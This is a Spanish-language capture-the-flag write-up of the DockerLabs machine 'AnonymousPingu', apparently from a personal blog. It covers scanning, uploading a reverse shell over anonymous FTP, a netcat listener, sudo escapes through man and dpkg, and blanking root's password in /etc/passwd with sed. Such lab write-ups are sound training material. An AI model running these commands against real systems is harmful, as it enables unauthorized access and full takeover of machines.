> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/anonymouspingu.md).

# AnonymousPingu

✍️ Autor: El Pingüino de Mario🔍 Dificultad: Fácil  📅 Fecha de creación: 29/04/2024

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FcJdgPaFvfen37QzjbSDB%2Fimage.png?alt=media&amp;token=75fcac84-26a7-465b-9191-32d895f24f60" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F5S8BdNp01mtdq9Km0rMj%2Fimage.png?alt=media&amp;token=e84660fe-3dab-40e2-84d0-0c510ac6dc79" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 21** perteneciente al **servicio FTP** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,80 -v 172.17.0.2
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FIbcpK6DnpMLab7N6s3GP%2Fimage.png?alt=media&amp;token=5e4048bf-8b55-48a2-b75b-92ab4d63eb6e" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web que nos muestra sea una de mantenimiento.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYZHdUqFy65aAn62G91Mg%2Fimage.png?alt=media&amp;token=e431a290-cd7a-40c6-bfd0-bc51848bd56c" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F6Jaz8GBUimH4Fr2wGH6P%2Fimage.png?alt=media&amp;token=c274388e-55ef-4027-bb4b-bb6b3214dcae" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Vemos un directorio interesante que es `/uploads` entonces podemos subir archivos por lo que probamos subir a través de FTP siendo anónimos una [**Reverse Shell**](https://www.revshells.com/).&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FRt58SedcybvwTXS7s9Rc%2Fimage.png?alt=media&amp;token=e51fe6ff-514b-49bf-9199-443c28587042" alt=""><figcaption></figcaption></figure>

Comprobamos que esta el archivo subido correctamente y nos ponemos en escucha.

```bash
nc -lnvp 443
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FKXn1Ceq03e5zGc5wTJRK%2Fimage.png?alt=media&amp;token=7dd2c188-4ea1-4aee-97c5-4fb0c1fb45bc" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FCe3Guh5vSRLm1lKUDANJ%2Fimage.png?alt=media&amp;token=ad0749a1-5070-492c-9df6-0a3924904b91" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FWaDZytbZeLNlCEqWl8Hg%2Fimage.png?alt=media&amp;token=19c59a7f-ef2e-4139-acf5-5a7c4538a762" alt=""><figcaption></figcaption></figure>

Comprobamos con [GTFOBins ](https://gtfobins.github.io/gtfobins/man/)con permisos **SUDO** en **man**.

```
sudo -u pingu /usr/bin/man
!bin/sh
```

Ahora somos el usuario **Pingu**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FjpvKVTcCJ9ZlB58NYXNB%2Fimage.png?alt=media&amp;token=4ffdb8ea-c96e-4b7c-9a5f-dc86770715f0" alt=""><figcaption></figcaption></figure>

Comprobamos con [GTFOBins ](https://gtfobins.github.io/gtfobins/dpkg/)con permisos **SUDO** en **dpkg**.

```bash
sudo -u gladys dpkg -l
!/bin/bash
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FRT68WbKbb3doDZ66f8sH%2Fimage.png?alt=media&amp;token=4f0d255e-41b3-4a52-8764-798c0f54a8ba" alt=""><figcaption></figcaption></figure>

Comprobamos con [GTFOBins ](https://gtfobins.github.io/gtfobins/chown/)con permisos **SUDO** en **chown**.

```bash
sudo /usr/bin/chown gladys:gladys /etc
/usr/bin/sed -i 's/root:x:/root::/g' /etc/passwd #no tenemos permisos con nano o vim
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fo0XWMd4VwpmX172TyyJD%2Fimage.png?alt=media&amp;token=7956bbf3-e563-4a39-9231-99cf2693e4dd" alt=""><figcaption></figcaption></figure>
